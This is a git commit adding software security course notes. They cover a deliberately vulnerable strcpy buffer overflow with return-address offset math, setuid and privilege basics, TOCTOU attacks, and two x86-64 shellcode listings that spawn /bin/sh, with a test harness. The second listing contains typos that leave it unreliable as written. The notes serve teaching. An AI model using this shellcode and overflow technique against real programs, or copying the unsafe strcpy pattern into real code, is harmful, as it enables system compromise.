commit 46d313dcad52457c97c59758df4c5b508cbaf574
parent e7a225e906cc01d373eb844a7f54ddb903cbc681
Author: Alex Balgavy <alex@balgavy.eu>
Date: Wed, 8 Sep 2021 13:41:13 +0200
Software security notes
Diffstat:
6 files changed, 225 insertions(+), 0 deletions(-)
diff --git a/content/softsec-notes/_index.md b/content/softsec-notes/_index.md
@@ -0,0 +1,9 @@
++++
+title = 'Software Security'
++++
+# Software Security
+1. [Intro](intro)
+2. [Buffer overflow](buffer-overflow)
+3. [Local privilege escalation](local-privilege-escalation)
+4. [Simple attacks](simple-attacks)
+5. [Shellcode](shellcode)
diff --git a/content/softsec-notes/buffer-overflow.md b/content/softsec-notes/buffer-overflow.md
@@ -0,0 +1,48 @@
++++
+title = 'Buffer Overflow'
++++
+
+# Buffer overflow
+A basic example of a buffer overflow:
+
+```c
+#include <stdio.h>
+#include <string.h>
+void hello(char *name) {
+ char buf[16];
+ strcpy(buf, name);
+ printf("hello %s\n", buf);
+}
+int main(int argc, char **argv) {
+ hello(argv[1]);
+ return 0;
+}
+```
+
+`buf` is limited to 16, but `strcpy` does not include that limit.
+So writing more characters (length > 15) will overwrite the lower parts of the stack -- frame pointer, return address.
+
+Three types of memory:
+- stack: local (non-static) variables, grows downwards (i.e. push decrements stack pointer)
+- heap: stores memory allocated by programmer via malloc, new, etc.
+- global: stores global and static variables
+
+In the code example, `buf` lives on the stack.
+
+Stack frames:
+- functions reserve part of stack for own use ("stack frame")
+- contains:
+ - return address: where to continue after return
+ - frame pointer: where is caller's stack frame
+ - local variables
+ - other temp storage needed by compiler
+
+So via this buffer overflow, the attacker can inject and run code, or run code already in the program.
+
+Without optimisations, return address is always `%ebp+8`.
+But we need to determine stack layout to see by how much we need to overflow buffer.
+
+E.g.:
+- target (return address): `%rbp+8`
+- overflowable buffer: `%rbp-16`
+- how many bytes before hitting the target: `(%rbp+8)-(%rbp-16) = 8 - -16 = 24`
diff --git a/content/softsec-notes/intro.md b/content/softsec-notes/intro.md
@@ -0,0 +1,18 @@
++++
+title = 'Intro'
++++
+# Intro
+- _error_: made by human
+- _bug/vulnerability_: consequence of error
+- when the bug is triggered/exploited, generates security _failure_
+
+security is intersection of:
+- availability: can be ensure that services can stay available and not be take down by attackers
+- confidentiality: can we keep info secret
+- integrity: can we keep data from being modified by attackers
+
+Some applications work but have vulnerabilities:
+- insecure configs
+- systems have a conflicting security policy
+- side channels -- e.g. indirect observation of data
+- hardware vulnerabilities
diff --git a/content/softsec-notes/local-privilege-escalation.md b/content/softsec-notes/local-privilege-escalation.md
@@ -0,0 +1,31 @@
++++
+title = 'Local privilege escalation'
++++
+# Local privilege escalation
+UNIX permissions:
+- read (or list files in directory)
+- write (or create/delete files in directory)
+- execute (or access files in directory)
+
+Files are owned by user and group.
+
+Three sets of permission bits for user, group, and others.
+
+Processes:
+- OS creates process for a running program
+- state includes user on whose behalf it runs
+- process can access files based on user
+- user/group determined by: first shell for user who logged in, then inherited from parent processes
+
+Impersonation:
+- when user has legitimate need to access a secured file
+- setuid/setgid bits: program runs on behalf of file owner
+- a setuid process has multiple UIDs and GIDs:
+ - effective (EUID): for privilege checks, modified by setuid
+ - real (RUID): actual user, not modified by setuid
+ - saved (SUID): lets process return to old uid
+- UID manipulation in C:
+ - `setuid(uid)`: sets RUID, EUID, and SUID to `uid`
+ - `seteuid(id)`: sets EUID to `uid`
+ - `setresuid(ruid, euid, suid)`: sets all three
+ - any target UID is allowed only if EUID is 0
diff --git a/content/softsec-notes/shellcode.md b/content/softsec-notes/shellcode.md
@@ -0,0 +1,98 @@
++++
+title = 'Shellcode'
++++
+# Shellcode
+Attacker's goal:
+- we found a vulnerability allowing overwriting return address
+- where do we point the return address?
+ - we can only execute code in same process
+ - so code that is already in program
+ - or code that we inject
+
+Injecting code:
+- x86 CPUs do not distinguish code and data
+- if memory permissions allow, we can read/write code as data & execute data as program code
+- how to inject?
+ - as parameter
+ - as environment variable
+ - provide as input
+- injected code must
+ - work regardless of where it's stored in memory
+ - not depend on any external code/libraries (we don't know their location)
+ - not contain NULL bytes (would terminate if stored as a string)
+ - do something that gives attacker control of the system, e.g start a shell
+
+System calls:
+- user code can't start program, kernel does that
+- tell kernel to do this using a system call
+- need `execve`, such as: `char argv[] = { "/bin/sh", NULL }; execve("/bin/sh", argv, NULL)`
+- so shellcode requirements:
+ - string "/bin/sh" in memory
+ - array in memory, containing pointer to "/bin/sh" and NULL pointer
+ - pointer to the string in `%rdi` (`progname`)
+ - pointer to the array in `%rsi` (`argv`)
+ - NULL pointer in `%rdx` (`envp`)
+ - system call number 0x3b in `%rax` (`execve`)
+
+Shellcode version 1:
+
+```asm
+.data
+.globl shellcode
+shellcode: ; PROBLEMS:
+ leaq string_addr(%rip), %rdi ; offset 0x22 -> 0x00000022. has null bytes
+ movb $0, 0x07(%rdi) ; explicit NULL
+ movq %rdi, 0x08(%rdi)
+ movq $0, 0x10(%rdi) ; explicit NULL
+ leaq 0x08(%rdi), %rsi
+ movq $0, %rdx
+ movl $0x3b, %eax ; long 0x3b -> 0x0000003b. has null bytes.
+ syscall
+string_addr:
+ .ascii "/bin/shNAAAAAAAABBBBBBBB"
+ .byte 0
+```
+
+Shellcode v2:
+
+```asm
+.data
+.globl shellcode
+shellcode;
+ jmp over_string
+string_addr:
+ .ascii "/bin/shNAAAAAAAABBBBBBBB"
+over_string:
+ leaq string_addr(%rip), %rdi ; offset is negative, so no nulls (0xffffffe1)
+ xorl %eax, %eax ; zero %rax to avoid explicit 0
+ movb %al, 0x07(%rdi)
+ movq %rdi, 0x08(%rdi)
+ movq %rax, 0x10(%rdi) ; use %rax, avoiding explicit 0
+ leaq 0x08(%rdi), %ri
+ movq %rax, %rdx ; use %rax, avoiding explicit 0
+ movb $0x3b, %al ; byte reg, upper bytes all zero
+ syscall
+ .byte 0
+```
+
+Run with:
+
+```c
+#include <stdio.h>
+int main(int argc, char **argv) {
+ extern char shellcode;
+ void (*f)(void) = (void (*)(void)) &shellcode;
+ f();
+ fprintf(stderr, "this shouldn't print");
+ return -1;
+}
+```
+
+Compile and run:
+
+```sh
+cc -o shellcode-test shellcode-test.c shellcode.s
+./shellcode-test
+```
+
+
diff --git a/content/softsec-notes/simple-attacks.md b/content/softsec-notes/simple-attacks.md
@@ -0,0 +1,21 @@
++++
+title = 'Simple attacks'
++++
+# Simple attacks
+Program behavior depends on:
+- code being run
+- data being processed
+- environment in which it runs
+ - e.g. setting `$PATH`, `$HOME`
+
+find a target:
+- privileged code we can manipulate
+- vulnerabilities:
+ - deployment: privilege level, file access
+ - implementation: input handling, error handling, assumptions on order of execution
+
+File system attacks, e.g. symbolic links which aren't checked, or which can change between calls (time-of-check to time-of-use attack -- that's why `access()` is insecure)
+- better to open file, then check using file handle
+- or drop privilege whenever possible
+
+Principle of least privilege: every program and privileged user of system should operate using the least amount of privilege necessary to complete the job